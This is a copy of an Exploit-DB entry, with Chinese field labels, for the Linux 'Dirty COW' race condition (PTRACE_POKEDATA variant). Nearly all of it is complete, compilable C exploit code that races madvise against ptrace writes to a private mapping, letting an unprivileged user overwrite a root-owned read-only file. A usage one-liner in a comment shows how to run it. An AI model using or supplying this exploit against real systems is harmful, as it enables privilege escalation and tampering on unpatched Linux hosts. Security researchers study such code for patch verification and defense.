Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition (Write Access Method)

  • 作者: Phil Oester
    日期: 2016-10-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40838/
  • // $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball
    #include <fcntl.h>//// pikachu
    #include <pthread.h>//// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball
    #include <string.h> //// pokeball
    #include <stdio.h>////(___)
    #include <stdint.h> ////(o o)_____/
    #include <sys/mman.h> //// @@ ` \ 
    #include <sys/types.h>////\ ____, /miltank
    #include <sys/stat.h> ////////
    #include <sys/wait.h> //// ^^^^
    #include <sys/ptrace.h> //// mmap bc757000
    #include <unistd.h> //// madvise 0
    ////////////////////////////////////////////// ptrace 0
    ////////////////////////////////////////////// miltank
    //////////////////////////////////////////////
    int f;// file descriptor
    void *map;// memory map
    pid_t pid;// process id
    pthread_t pth;// thread
    struct stat st ;// file info
    //////////////////////////////////////////////
    void *madviseThread(void *arg) {// madvise thread
    int i,c=0;// counters
    for(i=0;i<200000000;i++)//////////////////// loop to 2*10**8
    c+=madvise(map,100,MADV_DONTNEED);// race condition
    printf("madvise %d\n\n",c) ;// sum of errors
     }// /madvise thread
    //////////////////////////////////////////////
    int main(int argc,char *argv[]){// entrypoint
    if(argc<3)return 1 ;// ./d file contents
    printf("%s \n\
     (___) \n\
     (o o)_____/ \n\
    @@ ` \\\n\
     \\ ____, /%s\n\
     ////\n\
    ^^^^ \n\
    ", argv[1], argv[2]) ;// dirty cow
    f=open(argv[1],O_RDONLY) ;// open read only file
    fstat(f,&st) ;// stat the fd
    map=mmap(NULL,// mmap the file
     st.st_size+sizeof(long) ,// size is filesize plus padding
     PROT_READ ,// read-only
     MAP_PRIVATE ,// private mapping for cow
     f ,// file descriptor
     0);// zero
    printf("mmap %lx\n\n",(unsigned long)map);// sum of error code
    pid=fork() ;// fork process
    if(pid){// if parent
    waitpid(pid,NULL,0);// wait for child
    int u,i,o,c=0,l=strlen(argv[2]);// util vars (l=length)
    for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l
    for(o=0;o<l;o++)//////////////////////// repeat for each byte
    for(u=0;u<10000;u++)////////////////// try 10K times each time
    c+=ptrace(PTRACE_POKETEXT,// inject into memory
    pid,// process id
    map+o,// address
    *((long*)(argv[2]+o))) ;// value
    printf("ptrace %d\n\n",c);// sum of error code
     }// otherwise
    else {// child
    pthread_create(&pth,// create new thread
     NULL,// null
     madviseThread ,// run madviseThred
     NULL) ;// null
    ptrace(PTRACE_TRACEME) ;// stat ptrace on child
    kill(getpid(),SIGSTOP) ;// signal parent
    pthread_join(pth,NULL) ;// wait for thread
     }// / child
    return 0 ;// return
     }// / entrypoint
    //////////////////////////////////////////////